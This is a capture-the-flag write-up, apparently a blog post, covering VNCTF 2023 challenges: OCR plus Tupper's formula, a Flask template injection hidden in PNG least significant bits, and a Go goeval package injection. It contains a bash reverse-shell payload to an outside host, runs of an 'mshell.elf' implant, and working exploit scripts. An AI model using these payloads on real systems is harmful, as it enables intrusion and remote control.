2023VNCTF复现
jerem1ah Lv4

2023VNCTF复现

1.前言

参考wp:

https://mp.weixin.qq.com/s/8BjR_Hg2KZ9zAWZxIFpJAg

https://blog.csdn.net/jyttttttt/article/details/129114207?app_version=5.14.0&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22129114207%22%2C%22source%22%3A%22jyttttttt%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app

evalgo : https://www.gem-love.com/2022/07/25/goeval%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/#undefined

2.VNCTF-misc-[验证码]

1
python31 -m pip install ddddocr -i https://pypi.tuna.tsinghua.edu.cn/simple/
1
2
3
4
5
6
7
8
9
10
11
import ddddocr

res = ""
ocr = ddddocr.DdddOcr()
for i in range(136):
with open(f'imgs/{i}.png','rb') as img:
code = ocr.classification(img.read())

print(code)
res += code
print(res)
1
1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136d47780972200375212293357383685099969525103172039o4288891813962796668464579304272444795430837394840340487326283747092360113915630466853830405781934371350o158029312192443296076902692735780417298059011568971988619463802818660736654o49870484193411780158317168232187100668526865378478661078082oo9408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

将期中的错误识别字母改为数字

1
1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

tupper

1
https://tuppers-formula.ovh/

image-20230226104605096

3.VNCTF-misc-[LSSTIB]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding: utf-8 -*-
"""
Created on Sun May 19 11:20:05 2019
@author: Administrator
"""

from PIL import Image


def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)


def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string+""+plus(bin(s[i]).replace('0b', ''))
# print(string)
return string


def mod(x, y):
return x % y

# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径


def func(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:"+str(width))
print("height:"+str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a-mod(a, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b-mod(b, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c-mod(c, 2)+int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)


def main():
# 原图
old = "6src/flag.png"
# 处理后输出的图片路径
new = "6src/flag_encode.png"
# 需要隐藏的信息
enc = "6src/1.txt"
func(old, enc, new)


if __name__ == '__main__':
main()


1
{{10*10}}
1
2
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/xx.xxx.xx.xx/7780 0>&1"').read()}}

1
2
3
cd ~
touch test
find test -exec cat /flag \;

image-20230226152818917

怎么能就这样结束了呢doge,传了个mshell.elf,吧一些文件下载到了本地

题目文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:.
└─app
│ .DS_Store
│ app.py
│ lsb.py
│ requirements.txt

├─static
│ normalize.css
│ style.css

└─templates
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import *
import os
from lsb import lsb_decode

app = Flask(__name__, static_folder='static', static_url_path='/static')
app.config['ALLOWED_EXTENSIONS'] = {'png'}

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1] in app.config['ALLOWED_EXTENSIONS']

@app.route('/')
def index():
return redirect('/upload')

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
if f and allowed_file(f.filename):
return render_template_string(lsb_decode(f))
else:
return 'This is not a Upload challenge!!!\nPlz Upload right png!!!'
else:
return render_template('index.html')

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
1
2
3
4
5
6
7
8
9
10
11
12
from PIL import Image
import numpy as np
from Crypto.Util.number import long_to_bytes

def lsb_decode(pic):
pic_data = np.array(Image.open(pic).convert('RGB'))
a,b,c = pic_data.shape
# print(a,b,c)# a:y b:x
res_data = pic_data.reshape(a*b*c)
data = ''.join(str(i%2) for i in res_data)
res = ''.join(chr(int(data[i:i+8],2)) for i in range(0,len(data),8))
return res
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>L1near的LSB加密日志上传</title>

<link rel="stylesheet" href="static/normalize.css">

<link rel="stylesheet" href="static/style.css" media="screen" type="text/css" />

</head>
<body>
<section class="webdesigntuts-workshop">
<form action = "/upload" method = "POST" enctype = "multipart/form-data">
<input type = "file" name = "file" />
<input type = "submit" value="上传(仅允许PNG)"/>
</form>
</section>

</body>
</html>
1
css 就不放了
1
2
3
4
Flask
pillow
numpy
pycrypto

4.VNCTF-web-[babygo]

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package main

import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)

type User struct {
Name string
Path string
Power string
}

func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")

r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})

r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})

r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})

r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})

r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})

r.Run(":8080")
}

题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//encode0.go

package main
import (
"encoding/gob"
"os"
)
type User struct {
Name string
Path string
Power string
}
func encode() {
user := User{Name: "ctfer", Path: "/tmp/a39f682dbf98f61bcbbb7b144a9bf145/", Power: "admin"}
filePtr, _ := os.Create("user.gob")
encoder := gob.NewEncoder(filePtr)
encoder.Encode(&user)
}
func main() {
encode()
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//goeval0.go

package main
import (
"fmt"
"github.com/PaulXu-cn/goeval"
)
func main() {
pkg := "fmt\"\n\"os/exec\"\n)\nfunc\tinit(){\ncmd:=exec.Command(\"dir\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\nvar\t(\na=\"1"
//pkg = "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"dir\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"
//pkg = "fmt\"\n)\nfunc\tinit(){\nfmt.Print(\"我是init\")\n}\nvar\t(\na=\"1"
res, _ := goeval.Eval("", "fmt.Print(\"123\")", pkg)

fmt.Println(string(res))
}
1
2
3
4
5
6
7
8
9
10
11
#2.py

import requests

cookies = {"session":"MTY3NzMwMDYwMHxEdi1CQkFFQ180SUFBUkFCRUFBQVJfLUNBQUVHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM2NHYzNSeWFXNW5EQ2dBSmk5MGJYQXZZVE01WmpZNE1tUmlaams0WmpZeFltTmlZbUkzWWpFME5HRTVZbVl4TkRVdnzAZDGCnyxMNEDUMsPtUIKzyZEmPpO0BRqsvA8AE6aKWA=="}
pkg = "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"./mshell.elf\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"
url = f'http://474bce15-c3d7-4395-a841-2dca0f599f60.node4.buuoj.cn:81/backdoor?pkg={pkg}'
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

res = requests.get(url, cookies=cookies,headers=headers).text
print(res)
 Comments